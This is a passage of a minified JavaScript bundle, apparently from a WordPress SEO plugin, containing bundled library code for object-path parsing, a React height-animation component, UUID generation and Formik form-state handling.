s=/[^.^\]^[]+|(?=\[\]|\.\.)/g,r=/^\d+$/,a=/^\d/,o=/[~`!#$%\^&*+=\-\[\]\\';,/{}|\\":<>\?]/g,n=/^\s*(['"]?)(.*?)(\1)\s*$/,i=new t(512),l=new t(512),c=new t(512);function d(e){return i.get(e)||i.set(e,u(e).map((function(e){return e.replace(n,"$2")})))}function u(e){return e.match(s)||[""]}function p(e){return"string"==typeof e&&e&&-1!==["'",'"'].indexOf(e.charAt(0))}function m(e){return!p(e)&&(function(e){return e.match(a)&&!e.match(r)}(e)||function(e){return o.test(e)}(e))}e.exports={Cache:t,split:u,normalizePath:d,setter:function(e){var t=d(e);return l.get(e)||l.set(e,(function(e,s){for(var r=0,a=t.length,o=e;r<a-1;){var n=t[r];if("__proto__"===n||"constructor"===n||"prototype"===n)return e;o=o[t[r++]]}o[t[r]]=s}))},getter:function(e,t){var s=d(e);return c.get(e)||c.set(e,(function(e){for(var r=0,a=s.length;r<a;){if(null==e&&t)return;e=e[s[r++]]}return e}))},join:function(e){return e.reduce((function(e,t){return e+(p(t)||r.test(t)?"["+t+"]":(e?".":"")+t)}),"")},forEach:function(e,t,s){!function(e,t,s){var r,a,o,n,i=e.length;for(a=0;a<i;a++)(r=e[a])&&(m(r)&&(r='"'+r+'"'),o=!(n=p(r))&&/^\d+$/.test(r),t.call(s,r,n,o,a,e))}(Array.isArray(e)?e:u(e),t,s)}}},8133:(e,t,s)=>{"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},a=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},o=function(){function e(e,t){for(var s=0;s<t.length;s++){var r=t[s];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,s,r){return s&&e(t.prototype,s),r&&e(t,r),t}}(),n=c(s(9196)),i=c(s(5890)),l=c(s(4184));function c(e){return e&&e.__esModule?e:{default:e}}function d(e,t,s){return t in e?Object.defineProperty(e,t,{value:s,enumerable:!0,configurable:!0,writable:!0}):e[t]=s,e}var u={animating:"rah-animating",animatingUp:"rah-animating--up",animatingDown:"rah-animating--down",animatingToHeightZero:"rah-animating--to-height-zero",animatingToHeightAuto:"rah-animating--to-height-auto",animatingToHeightSpecific:"rah-animating--to-height-specific",static:"rah-static",staticHeightZero:"rah-static--height-zero",staticHeightAuto:"rah-static--height-auto",staticHeightSpecific:"rah-static--height-specific"},p=["animateOpacity","animationStateClasses","applyInlineTransitions","children","contentClassName","delay","duration","easing","height","onAnimationEnd","onAnimationStart"];function m(e){for(var t=arguments.length,s=Array(t>1?t-1:0),r=1;r<t;r++)s[r-1]=arguments[r];if(!s.length)return e;for(var a={},o=Object.keys(e),n=0;n<o.length;n++){var i=o[n];-1===s.indexOf(i)&&(a[i]=e[i])}return a}function f(e){e.forEach((function(e){return cancelAnimationFrame(e)}))}function h(e){return!isNaN(parseFloat(e))&&isFinite(e)}function y(e){return"string"==typeof e&&e.search("%")===e.length-1&&h(e.substr(0,e.length-1))}function _(e,t){e&&"function"==typeof e&&e(t)}var w=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var s=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));s.animationFrameIDs=[];var r="auto",o="visible";h(e.height)?(r=e.height<0||"0"===e.height?0:e.height,o="hidden"):y(e.height)&&(r="0%"===e.height?0:e.height,o="hidden"),s.animationStateClasses=a({},u,e.animationStateClasses);var n=s.getStaticStateClasses(r);return s.state={animationStateClasses:n,height:r,overflow:o,shouldUseTransitions:!1},s}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),o(t,[{key:"componentDidMount",value:function(){var e=this.state.height;this.contentElement&&this.contentElement.style&&this.hideContent(e)}},{key:"componentDidUpdate",value:function(e,t){var s,r,a=this,o=this.props,n=o.delay,i=o.duration,c=o.height,u=o.onAnimationEnd,p=o.onAnimationStart;if(this.contentElement&&c!==e.height){var m;this.showContent(t.height),this.contentElement.style.overflow="hidden";var w=this.contentElement.offsetHeight;this.contentElement.style.overflow="";var g=i+n,b=null,v={height:null,overflow:"hidden"},E="auto"===t.height;h(c)?(b=c<0||"0"===c?0:c,v.height=b):y(c)?(b="0%"===c?0:c,v.height=b):(b=w,v.height="auto",v.overflow=null),E&&(v.height=b,b=w);var x=(0,l.default)((d(m={},this.animationStateClasses.animating,!0),d(m,this.animationStateClasses.animatingUp,"auto"===e.height||c<e.height),d(m,this.animationStateClasses.animatingDown,"auto"===c||c>e.height),d(m,this.animationStateClasses.animatingToHeightZero,0===v.height),d(m,this.animationStateClasses.animatingToHeightAuto,"auto"===v.height),d(m,this.animationStateClasses.animatingToHeightSpecific,v.height>0),m)),k=this.getStaticStateClasses(v.height);this.setState({animationStateClasses:x,height:b,overflow:"hidden",shouldUseTransitions:!E}),clearTimeout(this.timeoutID),clearTimeout(this.animationClassesTimeoutID),E?(v.shouldUseTransitions=!0,f(this.animationFrameIDs),this.animationFrameIDs=(s=function(){a.setState(v),_(p,{newHeight:v.height})},(r=[])[0]=requestAnimationFrame((function(){r[1]=requestAnimationFrame((function(){s()}))})),r),this.animationClassesTimeoutID=setTimeout((function(){a.setState({animationStateClasses:k,shouldUseTransitions:!1}),a.hideContent(v.height),_(u,{newHeight:v.height})}),g)):(_(p,{newHeight:b}),this.timeoutID=setTimeout((function(){v.animationStateClasses=k,v.shouldUseTransitions=!1,a.setState(v),"auto"!==c&&a.hideContent(b),_(u,{newHeight:b})}),g))}}},{key:"componentWillUnmount",value:function(){f(this.animationFrameIDs),clearTimeout(this.timeoutID),clearTimeout(this.animationClassesTimeoutID),this.timeoutID=null,this.animationClassesTimeoutID=null,this.animationStateClasses=null}},{key:"showContent",value:function(e){0===e&&(this.contentElement.style.display="")}},{key:"hideContent",value:function(e){0===e&&(this.contentElement.style.display="none")}},{key:"getStaticStateClasses",value:function(e){var t;return(0,l.default)((d(t={},this.animationStateClasses.static,!0),d(t,this.animationStateClasses.staticHeightZero,0===e),d(t,this.animationStateClasses.staticHeightSpecific,e>0),d(t,this.animationStateClasses.staticHeightAuto,"auto"===e),t))}},{key:"render",value:function(){var e,t=this,s=this.props,r=s.animateOpacity,o=s.applyInlineTransitions,i=s.children,c=s.className,u=s.contentClassName,f=s.delay,h=s.duration,y=s.easing,_=s.id,w=s.style,g=this.state,b=g.height,v=g.overflow,E=g.animationStateClasses,x=g.shouldUseTransitions,k=a({},w,{height:b,overflow:v||w.overflow});x&&o&&(k.transition="height "+h+"ms "+y+" "+f+"ms",w.transition&&(k.transition=w.transition+", "+k.transition),k.WebkitTransition=k.transition);var S={};r&&(S.transition="opacity "+h+"ms "+y+" "+f+"ms",S.WebkitTransition=S.transition,0===b&&(S.opacity=0));var L=(0,l.default)((d(e={},E,!0),d(e,c,c),e)),T=void 0!==this.props["aria-hidden"]?this.props["aria-hidden"]:0===b;return n.default.createElement("div",a({},m.apply(void 0,[this.props].concat(p)),{"aria-hidden":T,className:L,id:_,style:k}),n.default.createElement("div",{className:u,style:S,ref:function(e){return t.contentElement=e}},i))}}]),t}(n.default.Component);w.propTypes={"aria-hidden":i.default.bool,animateOpacity:i.default.bool,animationStateClasses:i.default.object,applyInlineTransitions:i.default.bool,children:i.default.any.isRequired,className:i.default.string,contentClassName:i.default.string,delay:i.default.number,duration:i.default.number,easing:i.default.string,height:function(e,t,s){var a=e[t];return"number"==typeof a&&a>=0||y(a)||"auto"===a?null:new TypeError('value "'+a+'" of type "'+(void 0===a?"undefined":r(a))+'" is invalid type for '+t+" in "+s+'. It needs to be a positive number, string "auto" or percentage string (e.g. "15%").')},id:i.default.string,onAnimationEnd:i.default.func,onAnimationStart:i.default.func,style:i.default.object},w.defaultProps={animateOpacity:!1,animationStateClasses:u,applyInlineTransitions:!0,duration:250,delay:0,easing:"ease",style:{}},t.Z=w},591:e=>{for(var t=[],s=0;s<256;++s)t[s]=(s+256).toString(16).substr(1);e.exports=function(e,s){var r=s||0,a=t;return[a[e[r++]],a[e[r++]],a[e[r++]],a[e[r++]],"-",a[e[r++]],a[e[r++]],"-",a[e[r++]],a[e[r++]],"-",a[e[r++]],a[e[r++]],"-",a[e[r++]],a[e[r++]],a[e[r++]],a[e[r++]],a[e[r++]],a[e[r++]]].join("")}},9176:e=>{var t="undefined"!=typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto)||"undefined"!=typeof msCrypto&&"function"==typeof window.msCrypto.getRandomValues&&msCrypto.getRandomValues.bind(msCrypto);if(t){var s=new Uint8Array(16);e.exports=function(){return t(s),s}}else{var r=new Array(16);e.exports=function(){for(var e,t=0;t<16;t++)0==(3&t)&&(e=4294967296*Math.random()),r[t]=e>>>((3&t)<<3)&255;return r}}},3409:(e,t,s)=>{var r=s(9176),a=s(591);e.exports=function(e,t,s){var o=t&&s||0;"string"==typeof e&&(t="binary"===e?new Array(16):null,e=null);var n=(e=e||{}).random||(e.rng||r)();if(n[6]=15&n[6]|64,n[8]=63&n[8]|128,t)for(var i=0;i<16;++i)t[o+i]=n[i];return t||a(n)}},9921:(e,t)=>{"use strict";var s="function"==typeof Symbol&&Symbol.for,r=s?Symbol.for("react.element"):60103,a=s?Symbol.for("react.portal"):60106,o=s?Symbol.for("react.fragment"):60107,n=s?Symbol.for("react.strict_mode"):60108,i=s?Symbol.for("react.profiler"):60114,l=s?Symbol.for("react.provider"):60109,c=s?Symbol.for("react.context"):60110,d=s?Symbol.for("react.async_mode"):60111,u=s?Symbol.for("react.concurrent_mode"):60111,p=s?Symbol.for("react.forward_ref"):60112,m=s?Symbol.for("react.suspense"):60113,f=s?Symbol.for("react.suspense_list"):60120,h=s?Symbol.for("react.memo"):60115,y=s?Symbol.for("react.lazy"):60116,_=s?Symbol.for("react.block"):60121,w=s?Symbol.for("react.fundamental"):60117,g=s?Symbol.for("react.responder"):60118,b=s?Symbol.for("react.scope"):60119;function v(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case r:switch(e=e.type){case d:case u:case o:case i:case n:case m:return e;default:switch(e=e&&e.$$typeof){case c:case p:case y:case h:case l:return e;default:return t}}case a:return t}}}function E(e){return v(e)===u}t.AsyncMode=d,t.ConcurrentMode=u,t.ContextConsumer=c,t.ContextProvider=l,t.Element=r,t.ForwardRef=p,t.Fragment=o,t.Lazy=y,t.Memo=h,t.Portal=a,t.Profiler=i,t.StrictMode=n,t.Suspense=m,t.isAsyncMode=function(e){return E(e)||v(e)===d},t.isConcurrentMode=E,t.isContextConsumer=function(e){return v(e)===c},t.isContextProvider=function(e){return v(e)===l},t.isElement=function(e){return"object"==typeof e&&null!==e&&e.$$typeof===r},t.isForwardRef=function(e){return v(e)===p},t.isFragment=function(e){return v(e)===o},t.isLazy=function(e){return v(e)===y},t.isMemo=function(e){return v(e)===h},t.isPortal=function(e){return v(e)===a},t.isProfiler=function(e){return v(e)===i},t.isStrictMode=function(e){return v(e)===n},t.isSuspense=function(e){return v(e)===m},t.isValidElementType=function(e){return"string"==typeof e||"function"==typeof e||e===o||e===u||e===i||e===n||e===m||e===f||"object"==typeof e&&null!==e&&(e.$$typeof===y||e.$$typeof===h||e.$$typeof===l||e.$$typeof===c||e.$$typeof===p||e.$$typeof===w||e.$$typeof===g||e.$$typeof===b||e.$$typeof===_)},t.typeOf=v},9864:(e,t,s)=>{"use strict";e.exports=s(9921)},5251:(e,t,s)=>{"use strict";var r=s(9196);Symbol.for("react.element"),Symbol.for("react.fragment"),Object.prototype.hasOwnProperty,r.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner},5893:(e,t,s)=>{"use strict";s(5251)},4633:e=>{function t(e,t){var s=e.length,r=new Array(s),a={},o=s,n=function(e){for(var t=new Map,s=0,r=e.length;s<r;s++){var a=e[s];t.has(a[0])||t.set(a[0],new Set),t.has(a[1])||t.set(a[1],new Set),t.get(a[0]).add(a[1])}return t}(t),i=function(e){for(var t=new Map,s=0,r=e.length;s<r;s++)t.set(e[s],s);return t}(e);for(t.forEach((function(e){if(!i.has(e[0])||!i.has(e[1]))throw new Error("Unknown node. There is an unknown node in the supplied edges.")}));o--;)a[o]||l(e[o],o,new Set);return r;function l(e,t,o){if(o.has(e)){var c;try{c=", node was:"+JSON.stringify(e)}catch(e){c=""}throw new Error("Cyclic dependency"+c)}if(!i.has(e))throw new Error("Found unknown node. Make sure to provided all involved nodes. Unknown node: "+JSON.stringify(e));if(!a[t]){a[t]=!0;var d=n.get(e)||new Set;if(t=(d=Array.from(d)).length){o.add(e);do{var u=d[--t];l(u,i.get(u),o)}while(t);o.delete(e)}r[--s]=e}}}e.exports=function(e){return t(function(e){for(var t=new Set,s=0,r=e.length;s<r;s++){var a=e[s];t.add(a[0]),t.add(a[1])}return Array.from(t)}(e),e)},e.exports.array=t},4530:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function a(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var o=typeof s;if("string"===o||"number"===o)e.push(s);else if(Array.isArray(s)){if(s.length){var n=a.apply(null,s);n&&e.push(n)}}else if("object"===o){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){e.push(s.toString());continue}for(var i in s)r.call(s,i)&&s[i]&&e.push(i)}}}return e.join(" ")}e.exports?(a.default=a,e.exports=a):void 0===(s=function(){return a}.apply(t,[]))||(e.exports=s)}()},9196:e=>{"use strict";e.exports=window.React},5890:e=>{"use strict";e.exports=window.yoast.propTypes}},t={};function s(r){var a=t[r];if(void 0!==a)return a.exports;var o=t[r]={exports:{}};return e[r].call(o.exports,o,o.exports,s),o.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";var e=s(9196),t=s.n(e);const r=window.wp.components,a=window.wp.data,o=window.wp.domReady;var n=s.n(o);const i=window.wp.element,l=window.yoast.uiLibrary;var c=s(667),d=s.n(c),u=function(e){return function(e){return!!e&&"object"==typeof e}(e)&&!function(e){var t=Object.prototype.toString.call(e);return"[object RegExp]"===t||"[object Date]"===t||function(e){return e.$$typeof===p}(e)}(e)},p="function"==typeof Symbol&&Symbol.for?Symbol.for("react.element"):60103;function m(e,t){return!1!==t.clone&&t.isMergeableObject(e)?h((s=e,Array.isArray(s)?[]:{}),e,t):e;var s}function f(e,t,s){return e.concat(t).map((function(e){return m(e,s)}))}function h(e,t,s){(s=s||{}).arrayMerge=s.arrayMerge||f,s.isMergeableObject=s.isMergeableObject||u;var r=Array.isArray(t);return r===Array.isArray(e)?r?s.arrayMerge(e,t,s):function(e,t,s){var r={};return s.isMergeableObject(e)&&Object.keys(e).forEach((function(t){r[t]=m(e[t],s)})),Object.keys(t).forEach((function(a){s.isMergeableObject(t[a])&&e[a]?r[a]=h(e[a],t[a],s):r[a]=m(t[a],s)})),r}(e,t,s):m(t,s)}h.all=function(e,t){if(!Array.isArray(e))throw new Error("first argument should be an array");return e.reduce((function(e,s){return h(e,s,t)}),{})};const y=h,_=window.lodash.isPlainObject;var w=s.n(_);const g=window.lodash.clone;var b=s.n(g);const v=window.lodash.toPath;var E=s.n(v);const x=function(e,t){};var k=s(6214),S=s.n(k);const L=window.lodash.cloneDeep;var T=s.n(L);function F(){return F=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},F.apply(this,arguments)}function $(e,t){if(null==e)return{};var s,r,a={},o=Object.keys(e);for(r=0;r<o.length;r++)s=o[r],t.indexOf(s)>=0||(a[s]=e[s]);return a}function P(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}var R=function(e){return Array.isArray(e)&&0===e.length},N=function(e){return"function"==typeof e},I=function(e){return null!==e&&"object"==typeof e},O=function(e){return String(Math.floor(Number(e)))===e},C=function(e){return"[object String]"===Object.prototype.toString.call(e)},A=function(t){return 0===e.Children.count(t)},M=function(e){return I(e)&&N(e.then)};function D(e,t,s,r){void 0===r&&(r=0);for(var a=E()(t);e&&r<a.length;)e=e[a[r++]];return void 0===e?s:e}function B(e,t,s){for(var r=b()(e),a=r,o=0,n=E()(t);o<n.length-1;o++){var i=n[o],l=D(e,n.slice(0,o+1));if(l&&(I(l)||Array.isArray(l)))a=a[i]=b()(l);else{var c=n[o+1];a=a[i]=O(c)&&Number(c)>=0?[]:{}}}return(0===o?e:a)[n[o]]===s?e:(void 0===s?delete a[n[o]]:a[n[o]]=s,0===o&&void 0===s&&delete r[n[o]],r)}function U(e,t,s,r){void 0===s&&(s=new WeakMap),void 0===r&&(r={});for(var a=0,o=Object.keys(e);a<o.length;a++){var n=o[a],i=e[n];I(i)?s.get(i)||(s.set(i,!0),r[n]=Array.isArray(i)?[]:{},U(i,t,s,r[n])):r[n]=t}return r}var V=(0,e.createContext)(void 0);V.displayName="FormikContext";var j=V.Provider,z=V.Consumer;function q(){var t=(0,e.useContext)(V);return t||x(!1),t}function W(e,t){switch(t.type){case"SET_VALUES":return F({},e,{values:t.payload});case"SET_TOUCHED":return F({},e,{touched:t.payload});case"SET_ERRORS":return d()(e.errors,t.payload)?e:F({},e,{errors:t.payload});case"SET_STATUS":return F({},e,{status:t.payload});case"SET_ISSUBMITTING":return F({},e,{isSubmitting:t.payload});case"SET_ISVALIDATING":return F({},e,{isValidating:t.payload});case"SET_FIELD_VALUE":return F({},e,{values:B(e.values,t.payload.field,t.payload.value)});case"SET_FIELD_TOUCHED":return F({},e,{touched:B(e.touched,t.payload.field,t.payload.value)});case"SET_FIELD_ERROR":return F({},e,{errors:B(e.errors,t.payload.field,t.payload.value)});case"RESET_FORM":return F({},e,t.payload);case"SET_FORMIK_STATE":return t.payload(e);case"SUBMIT_ATTEMPT":return F({},e,{touched:U(e.values,!0),isSubmitting:!0,submitCount:e.submitCount+1});case"SUBMIT_FAILURE":case"SUBMIT_SUCCESS":return F({},e,{isSubmitting:!1});default:return e}}var H={},Y={};function G(t){var s=t.validateOnChange,r=void 0===s||s,a=t.validateOnBlur,o=void 0===a||a,n=t.validateOnMount,i=void 0!==n&&n,l=t.isInitialValid,c=t.enableReinitialize,u=void 0!==c&&c,p=t.onSubmit,m=$(t,["validateOnChange","validateOnBlur","validateOnMount","isInitialValid","enableReinitialize","onSubmit"]),f=F({validateOnChange:r,validateOnBlur:o,validateOnMount:i,onSubmit:p},m),h=(0,e.useRef)(f.initialValues),_=(0,e.useRef)(f.initialErrors||H),w=(0,e.useRef)(f.initialTouched||Y),g=(0,e.useRef)(f.initialStatus),b=(0,e.useRef)(!1),v=(0,e.useRef)({});(0,e.useEffect)((function(){return b.current=!0,function(){b.current=!1}}),[]);var E=(0,e.useReducer)(W,{values:f.initialValues,errors:f.initialErrors||H,touched:f.initialTouched||Y,status:f.initialStatus,isSubmitting:!1,isValidating:!1,submitCount:0}),x=E[0],k=E[1],S=(0,e.useCallback)((function(e,t){return new Promise((function(s,r){var a=f.validate(e,t);null==a?s(H):M(a)?a.then((function(e){s(e||H)}),(function(e){r(e)})):s(a)}))}),[f.validate]),L=(0,e.useCallback)((function(e,t){var s=f.validationSchema,r=N(s)?s(t):s,a=t&&r.validateAt?r.validateAt(t,e):function(e,t,s,r){void 0===s&&(s=!1),void 0===r&&(r={});var a=Z(e);return t[s?"validateSync":"validate"](a,{abortEarly:!1,context:r})}(e,r);return new Promise((function(e,t){a.then((function(){e(H)}),(function(s){"ValidationError"===s.name?e(function(e){var t={};if(e.inner){if(0===e.inner.length)return B(t,e.path,e.message);var s=e.inner,r=Array.isArray(s),a=0;for(s=r?s:s[Symbol.iterator]();;){var o;if(r){if(a>=s.length)break;o=s[a++]}else{if((a=s.next()).done)break;o=a.value}var n=o;D(t,n.path)||(t=B(t,n.path,n.message))}}return t}(s)):t(s)}))}))}),[f.validationSchema]),T=(0,e.useCallback)((function(e,t){return new Promise((function(s){return s(v.current[e].validate(t))}))}),[]),P=(0,e.useCallback)((function(e){var t=Object.keys(v.current).filter((function(e){return N(v.current[e].validate)})),s=t.length>0?t.map((function(t){return T(t,D(e,t))})):[Promise.resolve("DO_NOT_DELETE_YOU_WILL_BE_FIRED")];return Promise.all(s).then((function(e){return e.reduce((function(e,s,r){return"DO_NOT_DELETE_YOU_WILL_BE_FIRED"===s||s&&(e=B(e,t[r],s)),e}),{})}))}),[T]),R=(0,e.useCallback)((function(e){return Promise.all([P(e),f.validationSchema?L(e):{},f.validate?S(e):{}]).then((function(e){var t=e[0],s=e[1],r=e[2];return y.all([t,s,r],{arrayMerge:J})}))}),[f.validate,f.validationSchema,P,S,L]),O=X((function(e){return void 0===e&&(e=x.values),k({type:"SET_ISVALIDATING",payload:!0}),R(e).then((function(e){return b.current&&(k({type:"SET_ISVALIDATING",payload:!1}),k({type:"SET_ERRORS",payload:e})),e}))}));(0,e.useEffect)((function(){i&&!0===b.current&&d()(h.current,f.initialValues)&&O(h.current)}),[i,O]);var A=(0,e.useCallback)((function(e){var t=e&&e.values?e.values:h.current,s=e&&e.errors?e.errors:_.current?_.current:f.initialErrors||{},r=e&&e.touched?e.touched:w.current?w.current:f.initialTouched||{},a=e&&e.status?e.status:g.current?g.current:f.initialStatus;h.current=t,_.current=s,w.current=r,g.current=a;var o=function(){k({type:"RESET_FORM",payload:{isSubmitting:!!e&&!!e.isSubmitting,errors:s,touched:r,status:a,values:t,isValidating:!!e&&!!e.isValidating,submitCount:e&&e.submitCount&&"number"==typeof e.submitCount?e.submitCount:0}})};if(f.onReset){var n=f.onReset(x.values,de);M(n)?n.then(o):o()}else o()}),[f.initialErrors,f.initialStatus,f.initialTouched]);(0,e.useEffect)((function(){!0!==b.current||d()(h.current,f.initialValues)||(u&&(h.current=f.initialValues,A()),i&&O(h.current))}),[u,f.initialValues,A,i,O]),(0,e.useEffect)((function(){u&&!0===b.current&&!d()(_.current,f.initialErrors)&&(_.current=f.initialErrors||H,k({type:"SET_ERRORS",payload:f.initialErrors||H}))}),[u,f.initialErrors]),(0,e.useEffect)((function(){u&&!0===b.current&&!d()(w.current,f.initialTouched)&&(w.current=f.initialTouched||Y,k({type:"SET_TOUCHED",payload:f.initialTouched||Y}))}),[u,f.initialTouched]),(0,e.useEffect)((function(){u&&!0===b.current&&!d()(g.current,f.initialStatus)&&(g.current=f.initialStatus,k({type:"SET_STATUS",payload:f.initialStatus}))}),[u,f.initialStatus,f.initialTouched]);var U=X((function(e){if(v.current[e]&&N(v.current[e].validate)){var t=D(x.values,e),s=v.current[e].validate(t);return M(s)?(k({type:"SET_ISVALIDATING",payload:!0}),s.then((function(e){return e})).then((function(t){k({type:"SET_FIELD_ERROR",payload:{field:e,value:t}}),k({type:"SET_ISVALIDATING",payload:!1})}))):(k({type:"SET_FIELD_ERROR",payload:{field:e,value:s}}),Promise.resolve(s))}return f.validationSchema?(k({type:"SET_ISVALIDATING",payload:!0}),L(x.values,e).then((function(e){return e})).then((function(t){k({type:"SET_FIELD_ERROR",payload:{field:e,value:t[e]}}),k({type:"SET_ISVALIDATING",payload:!1})}))):Promise.resolve()})),V=(0,e.useCallback)((function(e,t){var s=t.validate;v.current[e]={validate:s}}),[]),j=(0,e.useCallback)((function(e){delete v.current[e]}),[]),z=X((function(e,t){return k({type:"SET_TOUCHED",payload:e}),(void 0===t?o:t)?O(x.values):Promise.resolve()})),q=(0,e.useCallback)((function(e){k({type:"SET_ERRORS",payload:e})}),[]),G=X((function(e,t){var s=N(e)?e(x.values):e;return k({type:"SET_VALUES",payload:s}),(void 0===t?r:t)?O(s):Promise.resolve()})),K=(0,e.useCallback)((function(e,t){k({type:"SET_FIELD_ERROR",payload:{field:e,value:t}})}),[]),Q=X((function(e,t,s){return k({type:"SET_FIELD_VALUE",payload:{field:e,value:t}}),(void 0===s?r:s)?O(B(x.values,e,t)):Promise.resolve()})),ee=(0,e.useCallback)((function(e,t){var s,r=t,a=e;if(!C(e)){e.persist&&e.persist();var o=e.target?e.target:e.currentTarget,n=o.type,i=o.name,l=o.id,c=o.value,d=o.checked,u=(o.outerHTML,o.options),p=o.multiple;r=t||i||l,a=/number|range/.test(n)?(s=parseFloat(c),isNaN(s)?"":s):/checkbox/.test(n)?function(e,t,s){if("boolean"==typeof e)return Boolean(t);var r=[],a=!1,o=-1;if(Array.isArray(e))r=e,a=(o=e.indexOf(s))>=0;else if(!s||"true"==s||"false"==s)return Boolean(t);return t&&s&&!a?r.concat(s):a?r.slice(0,o).concat(r.slice(o+1)):r}(D(x.values,r),d,c):u&&p?function(e){return Array.from(e).filter((function(e){return e.selected})).map((function(e){return e.value}))}(u):c}r&&Q(r,a)}),[Q,x.values]),te=X((function(e){if(C(e))return function(t){return ee(t,e)};ee(e)})),se=X((function(e,t,s){return void 0===t&&(t=!0),k({type:"SET_FIELD_TOUCHED",payload:{field:e,value:t}}),(void 0===s?o:s)?O(x.values):Promise.resolve()})),re=(0,e.useCallback)((function(e,t){e.persist&&e.persist();var s=e.target,r=s.name,a=s.id,o=(s.outerHTML,t||r||a);se(o,!0)}),[se]),ae=X((function(e){if(C(e))return function(t){return re(t,e)};re(e)})),oe=(0,e.useCallback)((function(e){N(e)?k({type:"SET_FORMIK_STATE",payload:e}):k({type:"SET_FORMIK_STATE",payload:function(){return e}})}),[]),ne=(0,e.useCallback)((function(e){k({type:"SET_STATUS",payload:e})}),[]),ie=(0,e.useCallback)((function(e){k({type:"SET_ISSUBMITTING",payload:e})}),[]),le=X((function(){return k({type:"SUBMIT_ATTEMPT"}),O().then((function(e){var t=e instanceof Error;if(!t&&0===Object.keys(e).length){var s;try{if(void 0===(s=ue()))return}catch(e){throw e}return Promise.resolve(s).then((function(e){return b.current&&k({type:"SUBMIT_SUCCESS"}),e})).catch((function(e){if(b.current)throw k({type:"SUBMIT_FAILURE"}),e}))}if(b.current&&(k({type:"SUBMIT_FAILURE"}),t))throw e}))})),ce=X((function(e){e&&e.preventDefault&&N(e.preventDefault)&&e.preventDefault(),e&&e.stopPropagation&&N(e.stopPropagation)&&e.stopPropagation(),le().catch((function(e){console.warn("Warning: An unhandled error was caught from submitForm()",e)}))})),de={resetForm:A,validateForm:O,validateField:U,setErrors:q,setFieldError:K,setFieldTouched:se,setFieldValue:Q,setStatus:ne,setSubmitting:ie,setTouched:z,setValues:G,setFormikState:oe,submitForm:le},ue=X((function(){return p(x.values,de)})),pe=X((function(e){e&&e.preventDefault&&N(e.preventDefault)&&e.preventDefault(),e&&e.stopPropagation&&N(e.stopPropagation)&&e.stopPropagation(),A()})),me=(0,e.useCallback)((function(e){return{value:D(x.values,e),error:D(x.errors,e),touched:!!D(x.touched,e),initialValue:D(h.current,e),initialTouched:!!D(w.current,e),initialError:D(_.current,e)}}),[x.errors,x.touched,x.values]),fe=(0,e.useCallback)((function(e){return{setValue:function(t,s){return Q(e,t,s)},setTouched:function(t,s){return se(e,t,s)},setError:function(t){return K(e,t)}}}),[Q,se,K]),he=(0,e.useCallback)((function(e){var t=I(e),s=t?e.name:e,r=D(x.values,s),a={name:s,value:r,onChange:te,onBlur:ae};if(t){var o=e.type,n=e.value,i=e.as,l=e.multiple;"checkbox"===o?void 0===n?a.checked=!!r:(a.checked=!(!Array.isArray(r)||!~r.indexOf(n)),a.value=n):"radio"===o?(a.checked=r===n,a.value=n):"select"===i&&l&&(a.value=a.value||[],a.multiple=!0)}return a}),[ae,te,x.values]),ye=(0,e.useMemo)((function(){return!d()(h.current,x.values)}),[h.current,x.values]),_e=(0,e.useMemo)((function(){return void 0!==l?ye?x.errors&&0===Object.keys(x.errors).length:!1!==l&&N(l)?l(f):l:x.errors&&0===Object.keys(x.errors).length}),[l,ye,x.errors,f]);return F({},x,{initialValues:h.current,initialErrors:_.current,initialTouched:w.current,initialStatus:g.current,handleBlur:ae,handleChange:te,handleReset:pe,handleSubmit:ce,resetForm:A,setErrors:q,setFormikState:oe,setFieldTouched:se,setFieldValue:Q,setFieldError:K,setStatus:ne,setSubmitting:ie,setTouched:z,setValues:G,submitForm:le,validateForm:O,validateField:U,isValid:_e,dirty:ye,unregisterField:j,registerField:V,getFieldProps:he,getFieldMeta:me,getFieldHelpers:fe,validateOnBlur:o,validateOnChange:r,validateOnMount:i})}function K(t){var s=G(t),r=t.component,a=t.children,o=t.render,n=t.innerRef;return(0,e.useImperativeHandle)(n,(function(){return s})),(0,e.createElement)(j,{value:s},r?(0,e.createElement)(r,s):o?o(s):a?N(a)?a(s):A(a)?null:e.Children.only(a):null)}function Z(e){var t=Array.isArray(e)?[]:{};for(var s in e)if(Object.prototype.hasOwnProperty.call(e,s)){var r=String(s);!0===Array.isArray(e[r])?t[r]=e[r].map((function(e){return!0===Array.isArray(e)||w()(e)?Z(e):""!==e?e:void 0})):w()(e[r])?t[r]=Z(e[r]):t[r]=""!==e[r]?e[r]:void 0}return t}function J(e,t,s){var r=e.slice();return 